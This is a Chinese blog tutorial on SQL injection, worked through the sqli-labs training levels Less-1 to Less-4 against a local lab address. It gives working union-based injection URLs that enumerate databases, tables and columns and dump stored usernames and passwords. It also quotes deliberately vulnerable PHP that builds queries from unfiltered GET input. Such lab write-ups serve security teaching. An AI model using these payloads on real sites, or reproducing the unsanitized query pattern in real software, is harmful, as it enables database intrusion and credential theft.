SQL注入基础

sql语句中

select * from users id=1 and 1=1;
select * from users id=1 && 1=1;
select * from users id=1 & 1=1;

其中第一个和第二个是一样的,表达的意思是id=1条件和1=1条件进行与运算。

第三个的意思是id=1条件与1进行&位操作,id=1被当作true,与1进行&操作运算结果还是1,

再进行=操作,1=1还是1(&的优先级大于=)

注入流程

数据库-->数据表-->列-->数据项

我们的数据库存储的数据按照上图的形式,一个数据库中有很多的数据表,数据表中有很多的列,每一列中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,在获取当前数据表下的列,最后获取数据。

练习

select table_name from information_schema.tables where table_schema = "security";

Mysql有一个系统数据库information_schema,储存着所有数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。

猜数据库
select schema_name from information_schema.schemata;
猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxx';
猜某表的所有列
select column_name from information_schema.columns where table_name='xxxx';
获取某列的内容
select *** from ***;

Less-1

我们首先在id=1后面添加一个'来查看一下效果:

从上述的错误中,我们可以看到提交到sql中的1'在经过sql语句构造后形成'1'' LIMIT 0,1,后面多加了一个'。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来就要想,怎么把多余的'去掉。

我们尝试'or 1=1--+,此时我们构造的语句就成了

select *** where '1' or 1=1--+'LIMIT 0,1

可以看到没有报错。

接下来我么可以利用order by进行测试。order by对前面的数据进行排序,这里有三列数据,我们在这里只能测试到order by 3超过3就会报错。

我们从源码中分析一下为什么会造成注入

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    ......
}

我们可以看到注入语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1";id参数在拼接sql语句的时候,未对id进行任何的过滤操作,所以当提交'or 1=1 --+,直接构造的语句就是SELECT * FROM users WHERE id='1' or 1=1 --+LIMIT 0,1;,这条语句因or 1=1所以为永真。

此外,此处我们再介绍一下union联合注入,union的作用是将两个sql语句进行联合。union可以从下面的例子中看看出,强调一点:union前后两个sql语句要相同才可以。union allunion的区别是增加了去重的功能。我们这里根据上述的知识,进行information_schema知识的应用。

http://192.168.252.148/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

id的数据在数据库中不存在的时候,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面语句的内容显示出来)此时页面中显示了我们构造的union的数据。

接下来我们暴数据库,我们可以看到其中被我们控制的字段是23这两个字段,所以我们就在这两个中进行数据的查询。

http://192.168.252.148/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

此时的sql语句为:

SELECT * FROM users WHERE id='-1' union select 1,group_concat(schma_name),3 from information_schema.schemata --+ LIMIT 0,1;

接下来就是暴表的操作,这里我们将security转为16进制,我们也可以使用table_schema = 'security'来进行表的筛选 。

http://192.168.252.148/sqli-labs/Less-1/
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x7365637572697479 --+

暴表中相应的字段名,这里的判断已经成了table_name = users

http://192.168.252.148/sqli-labs/Less-1/
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+

此时的sql语句是

SELECT * from users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+ LIMIT 0,1;

数据表中的字段我们知道了,那我们就可以暴列了

http://192.168.252.148/sqli-labs/Less-1/
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

我们还可以逐id来显示

Less-2

第二关是数字型

http://192.168.252.148/sqli-labs/Less-2/
?id=1' and 1=1 --+

http://192.168.252.148/sqli-labs/Less-2/
?id=1 and 1=1 --+

判断出是数字型之后,我们就直接可以按照之前的步骤来做了

暴库
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
暴表
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x7365637572697479 --+
暴字段
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+
暴列
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

我们查看源码

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    ......
}

我们分析源码可以知道,这里没有对接收的id加单引号,所以直接使用数字即可。

Less-3

这一关中,我们输入了'之后,我们发现有提示:

我们根据提示我们可以得知,这次的闭合使用代码格式是id = ('$id'),那我们可以尝试使用')来闭合

这样一来,我们又可以得到用户名和密码,同时后面的查询也被注释掉了。

我们看一下源代码:

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    ......
}
这种情况下可以成功注入的有
') or '1'=('1'
) or 1=1 --+

剩下的步骤就是我们之前进行的步骤,将'替换为')即可。

Less-4

首先我们尝试',没有报错

然后接着尝试id = 1 and 1=2,没有报错

我们再尝试'),没有报错

当我们输入"的时候,产生了错误

我们根据错误进行判断,我们需要使用")来进行闭合。所以我们使用?id=1") --+来尝试。

这样一来,我们又可以重复之前的步骤了,我们看一下源码:

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    ......
}

我们可以看到在源码中,我们对接收到的id进行了两个"的拼接,而且在查询语句中也使用了),所以可以成功注入的有

") or "1"=("1
") or 1=1 --+
最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏